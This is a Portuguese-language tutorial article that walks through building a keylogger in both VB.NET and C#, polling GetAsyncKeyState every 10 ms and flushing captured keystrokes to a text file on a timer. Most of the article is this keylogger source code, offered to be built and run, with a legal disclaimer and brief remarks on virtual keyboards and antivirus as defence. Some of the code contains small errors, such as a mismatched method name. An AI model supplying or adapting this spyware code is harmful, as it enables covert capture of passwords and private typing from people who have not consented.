Hoje em dia, neste vasto mundo virtual em que vivemos, principalmente para nós desenvolvedores, precisamos lidar com as inúmeras pragas que atormentam a todos, tentando roubar informações preciosas, tais como senhas, de nossos computadores.

    O keylogger é um tipo de código gerado para capturar as teclas digitadas no computador, muitos desses softwares são aperfeiçoados pelos programadores para que atuem de forma invisível ao usuário. Alguns desses keyloggers trazem um sistema chamado desktop viewer, cuja funcionalidade é monitorar tudo que a vítima faz.

     Este tipo de software utiliza a DLL “USER32.dll” para detectar quando uma key (chave) do teclado foi pressionada ou despressionada. Uma variável é declarada para recuperar as 256 chaves possíveis de serem pressionadas, e tudo é gravado em uma espécie de array, quando um intervalo declarado pelo programador é disparado, esse array é gravado em um arquivo de texto, ou enviado para um e-mail.

     Então vamos aprender como fazer isso, e como se proteger deste malicioso programa.

     so para lembrar:

     OBS:  Eu desencorajo qualquer um de tentar monitorar um computador que não te    pertence ou que não tenha permissão daquele que é proprietário da máquina. Isso é ILEGAL e as punições para este CRIME são severas!

 

Vamos ao trabalho:

     Primeiramente, inicie o visual studio 2005, ou a versão express da mesma. Crie um novo projeto Windows application tanto para visual basic quanto para C# (estarei mostrando para ambas as linguagens).

     Adicione uma classe ao projeto, em meu exemplo se chama keylogger.vb ou no caso de estar utilizando a linguagem C#, keylogger.cs .

     Inicialmente importe as classes a seguir:

            System.Runtime.InteropServices (para utilizar a dll user32.dll);

      System.IO;

System.Windows.Forms (para a variável vKey responsavel por        armazenar todas as 256 possíveis teclas ou sequencias de teclas a  serem digitadas).

 

     Depois de importar as namespaces vamos declarar as variáveis e funções que completaram nosso sistema.

 

VB:

Public Class Keylogger

     A funcao GetAsyncKeyState determina se uma chave está

     Pressionada ou despressionada na hora que esta função

    é chamada e se a chave foi pressionada após uma

    uma chamada prévia a GetAsyncKeyState

    Private Declare Function GetAsyncKeyState Lib "User32.dll" (ByVal      vKey As System.Windows.Forms.Keys) As Short Enumeração das chaves

    Private Declare Function GetAsyncKeyState Lib "User32.dll" (ByVal vKey As Integer) As Short

 

    Private keyBuffer As System.String  armazena as chaves detectadas.

    tempo para verificação de chave pressionada.

    Private TimerKeyMine As System.Timers.Timer 

    tempo para liberar o buffer e salva-lo em um arq .txt .

    Private TimerBufferFlush As System.Timers.Timer

 

C#:

public class Keylogger

{

           

   // A funcao GetAsyncKeyState determina se uma chave está

   // Pressionada ou despressionada na hora que esta função

   // é chamada e se a chave foi pressionada após uma

   // uma chamada prévia a GetAsyncKeyState.

   [DllImport("User32.dll")]

     private static extern short GetAsyncKeyState(

       System.Windows.Forms.Keys vKey); // Enumeração das chaves

 

   [DllImport("User32.dll")]

     private static extern short GetAsyncKeyState(

       System.Int32 vKey);

 

   // armazena as chaves detectadas.

   private System.String keyBuffer;

   // tempo para verificação de chave pressionada

   private System.Timers.Timer timerKeyMine;

   // tempo para liberar o buffer e salva-lo em um arq .txt .

   private System.Timers.Timer timerBufferFlush;    

     Agora vamos inserir as propriedades para esta classe: (as explicações de cada um vem detalhada no código abaixo).

VB:

Properties

Enabled: Com essa propriedade podemos desativar/ativar o

funcionamento da classe.

Public Property Enabled() As System.Boolean

        Get

            Return TimerKeyMine.Enabled And TimerBufferFlush.Enabled

        End Get

        Set(ByVal value As System.Boolean)

            TimerKeyMine.Enabled = TimerBufferFlush.Enabled = value

        End Set

End Property

 

FlushInterval: Um double que armazena o intervalo

onde dentro desse intervalo a funcao armazena as chaves

e ao final do mesmo ela o grava, neste exemplo, num

arquivo .txt .

Public Property FlushInterval() As System.Double

        Get

            Return TimerBufferFlush.Interval

        End Get

        Set(ByVal value As System.Double)

            TimerBufferFlush.Interval = value

        End Set

End Property

 

MineInterval: propriedade q armazena o tempo

para verificação de alguma chave ser pressionada

Public Property MineInterval() As System.Double

        Get

            Return TimerKeyMine.Interval

        End Get

        Set(ByVal value As System.Double)

            TimerKeyMine.Interval = value

        End Set

End Property

 

C#:

// Properties

// Enabled: Com essa propriedade podemos desativar/ativar o

// funcionamento da classe.

public System.Boolean Enabled

{

      get

      {

          return timerKeyMine.Enabled && timerBufferFlush.Enabled;

      }

      Set

{

          timerKeyMine.Enabled = timerBufferFlush.Enabled = value;

      }

}

 

 

// FlushInterval: Um double que armazena o intervalo

// onde dentro desse intervalo a funcao armazena as chaves

// e ao final do mesmo ela o grava, neste exemplo, num

// arquivo .txt . 

public System.Double FlushInterval

{

      get

      {

            return timerBufferFlush.Interval;

      }

      set

      {

            timerBufferFlush.Interval = value;

      }

}

 

 

// MineInterval: propriedade q armazena o tempo

// para verificação de alguma chave ser pressionada 

public System.Double MineInterval

{

      get

      {

            return timerKeyMine.Interval;

      }

      set

      {

            timerKeyMine.Interval = value;

      }

}

 

 

  

   Agora escreveremos o Construtor e depois os métodos e de armazenar as chaves digitadas pelo usuário e de gravar o arquivo de texto com o buffer.

  

VB:

Grava o buffer em um arquivo .txt

Public Sub FlushToFile(ByVal file As String, ByVal append As Boolean)

        Try

            Dim sw As StreamWriter = New StreamWriter(file, append)

            sw.Write(keyBuffer)

            sw.Close()

            keyBuffer = ""

        Catch ex As Exception

            Throw ex

        End Try

End Sub

 

Evento disparado quando o intervalo da variável

timerkeymine expirar. Armazena a chave na variável KeyBuffer.

Private Sub timerKeyMine_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs)

       For Each i As System.Int32 In System.Enum.GetValues(GetType(Keys))

           If GetAsyncKeyState(i) = -32767 Then

              keyBuffer += System.Enum.GetName(GetType(Keys), i) + " "

           End If

       Next

End Sub

 

Evento disparado quando o intervalo da variável

timerBufferFlush expirar.

Private Sub timerBufferFlush_Elapsed(ByVal sender As Object, ByVal e  As System.Timers.ElapsedEventArgs)

        chama o método FlushtoFile com o nome do arquivo txt

        a ser salvo.

        FlushToFile("c:\KeyloogerLog.txt", True)

End Sub

 

Construtor da classe

Public Sub New()

      keyBuffer = ""

      Instancia a variável timerkeymine

      Me.TimerKeyMine = New System.Timers.Timer

      Me.TimerKeyMine.Enabled = True

Indica que o método TimerKeyMine_Elapsed

como evento de expiração da variavel

TimerKeyMine

      AddHandler TimerKeyMine.Elapsed, AddressOf

            Me.timerKeyMine_Elapsed

      Me.TimerKeyMine.Interval = 10

      Instancia a variável TimerBufferFlush

      Me.TimerBufferFlush = New System.Timers.Timer

      Me.TimerBufferFlush.Enabled = True

      Indica que o método TimerBufferFlush_Elapsed

como evento de expiração da variavel

TimerBufferFlush

      AddHandler TimerBufferFlush.Elapsed, AddressOf

            Me.timerBufferFlush_Elapsed

      Me.TimerBufferFlush.Interval = 1800000 30 minutos

 

End Sub

 

 

C#:

 // Grava o buffer em um arquivo .txt

public void FlushToFile (string file, bool append)

{

      try

      {

            StreamWriter sw = new StreamWriter(file, append);

 

            sw.Write(keyBuffer);

 

            sw.Close();

 

            keyBuffer = "";

      }

      catch

      {    

            throw;

      }

}

 

// Evento disparado quando o intervalo da variável

// timerkeymine expirar. Armazena a chave na variável KeyBuffer.

private void timerKeyMine_Elapsed(object sender,

  System.Timers.ElapsedEventArgs e)

{

      foreach(System.Int32 i in Enum.GetValues(typeof(Keys)))

      {

            if(GetAsyncKeyState(i) == -32767)

            {

                  keyBuffer += Enum.GetName(typeof(Keys), i) + " ";

            }

      }

}

 

// Evento disparado quando o intervalo da variável

// timerBufferFlush expirar.

private void timerBufferFlush_Elapsed(object sender,

  System.Timers.ElapsedEventArgs e)

{

// chama o método FlushtoFile com o nome do arquivo txt

      // a ser salvo.

      Flush2File(@"c:\KeyloogerLog.txt", true);

 

}

 

// Construtor

public Keylogger()

{

    keyBuffer = "";

    // Instancia a variável timerkeymine

    this.timerKeyMine = new System.Timers.Timer();

    this.timerKeyMine.Enabled = true; 

    // Indica que o método TimerKeyMine_Elapsed

    // como evento de expiração da variavel

    // TimerKeyMine 

    this.timerKeyMine.Elapsed += new

     System.Timers.ElapsedEventHandler(this.timerKeyMine_Elapsed);

    this.timerKeyMine.Interval = 10;

    // Instancia a variável TimerBufferFlush

    this.timerBufferFlush = new System.Timers.Timer();

    this.timerBufferFlush.Enabled = true;

    // Indica que o método TimerBufferFlush_Elapsed

    // como evento de expiração da variavel

    // TimerBufferFlush

    this.timerBufferFlush.Elapsed += new

     System.Timers.ElapsedEventHandler(this.timerBufferFlush_Elapsed);

    this.timerBufferFlush.Interval = 1800000; // 30 minutos

}

 

 

   Com isso terminamos nossa classe e podemos inserir o código de load do Form1. Entre no evento de load do único formulário (form1.vb / form1.cs) presente no projeto e digite o código abaixo:

 

 

VB:

 

Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load

        Dim kl As Keylogger = New Keylogger

        kl.Enabled = True

        logo abaixo, indico o Intervalo para a gravação do

        buffer em meu arquivo de texto de 1800000 que

        equivale a 30 minutos para 80000 (1m e 33s).

        kl.FlushInterval = 80000

End Sub

 

C#:

private void Form1_Load(object sender, EventArgs e)

{

        Keylogger kl = New Keylogger;

        Kl.Enabled = True;

  // logo abaixo, indico o Intervalo para a gravação do

        // buffer em meu arquivo de texto de 1800000 que

        // equivale a 30 minutos para 80000 (1m e 33s).

        Kl.FlushInterval = 80000;

}

 

   Basta saber como funciona para implementar uma aplicação de segurança, como por exemplo, um teclado virtual onde a dll será incapaz de saber o que ta escrito pois o mouse funcionará como o teclado, clicando nas letras que deseja digitar, assim funciona a segurança de muitos dos bancos quando o usuário vai digitar sua senha.
   As soluções de segurança de um sistema operacional não conseguem facilmente impedir o acesso a esse tipo de código, por isso é essencial o uso de um bom anti-vírus e bem atualizado, pois o mesmo considera o código, na hora do escaneamento, como um vírus, spyware ou coisa do tipo, dependendo do que mais o código faz.
   Bom, é isso ai, espero que tenham gostado de meu primeiro artigo, agora é so rodar o programa, entrar em seu e-mail, por exemplo, e após um tempo o arquivo de texto estará preenchido com todos as teclas digitadas enquanto o programa estiver rodando.

 Muito obrigado pessoal e ate a próxima;
 Danillo.